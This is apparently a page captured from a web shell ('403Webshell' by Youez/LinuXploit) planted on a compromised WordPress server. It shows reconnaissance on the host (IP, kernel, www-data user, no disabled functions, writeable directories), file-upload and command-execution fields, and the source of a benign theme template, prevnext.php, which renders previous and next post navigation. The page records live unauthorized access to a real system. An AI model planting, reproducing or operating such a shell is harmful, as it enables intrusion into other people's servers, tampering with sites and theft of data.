403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.217.19
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/rehub-theme/inc/parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/rehub-theme/inc/parts/prevnext.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly ?>
<!-- PAGER SECTION -->
<div class="float-posts-nav" id="float-posts-nav">
    <div class="postNavigation prevPostBox">
        <?php $prev_post = get_previous_post(); if (!empty( $prev_post )): ?>
            <div class="postnavprev">
                <div class="inner-prevnext">
                    <div class="thumbnail">
                        <?php         
                            $image_id = get_post_thumbnail_id($prev_post->ID); 
                            if($image_id){
                                $image_url = wp_get_attachment_image_src($image_id,'full');
                                $thumb = (!empty($image_url)) ? $image_url[0] : '';                                
                            }else{
                                $thumb = '';
                            }
                        ?>                    
                        <?php WPSM_image_resizer::show_static_resized_image(array('src'=> $thumb, 'height'=> 70, 'width'=>70, 'crop'=>true, 'no_thumb_url' => get_template_directory_uri() . '/images/default/noimage_70_70.png'));?>
                    </div>
                    <div class="headline"><span><?php esc_html_e('Previous', 'rehub-theme'); ?></span><h4><a href="<?php echo get_permalink( $prev_post->ID ); ?>"><?php echo ''.$prev_post->post_title; ?></a></h4></div>
                    </div>
            </div>                          
        <?php endif; ?>
    </div>
    <div class="postNavigation nextPostBox">
        <?php $next_post = get_next_post(); if (!empty( $next_post )): ?>
            <div class="postnavprev">
                <div class="inner-prevnext">
                    <div class="thumbnail">
                        <?php         
                            $image_id = get_post_thumbnail_id($next_post->ID); 
                            if($image_id){
                                $image_url = wp_get_attachment_image_src($image_id,'full');
                                $thumb = (!empty($image_url)) ? $image_url[0] : '';                                
                            }else{
                                $thumb = '';
                            }
                        ?>                    
                        <?php WPSM_image_resizer::show_static_resized_image(array('src'=> $thumb, 'height'=> 70, 'width'=>70, 'crop'=>true, 'no_thumb_url' => get_template_directory_uri() . '/images/default/noimage_70_70.png'));?>
                    </div>
                    <div class="headline"><span><?php esc_html_e('Next', 'rehub-theme'); ?></span><h4><a href="<?php echo get_permalink( $next_post->ID ); ?>"><?php echo ''.$next_post->post_title; ?></a></h4></div>
                </div> 
            </div>                        
        <?php endif; ?>
    </div>                        
</div>
<!-- /PAGER SECTION -->

Youez - 2016 - github.com/yon3zu
LinuXploit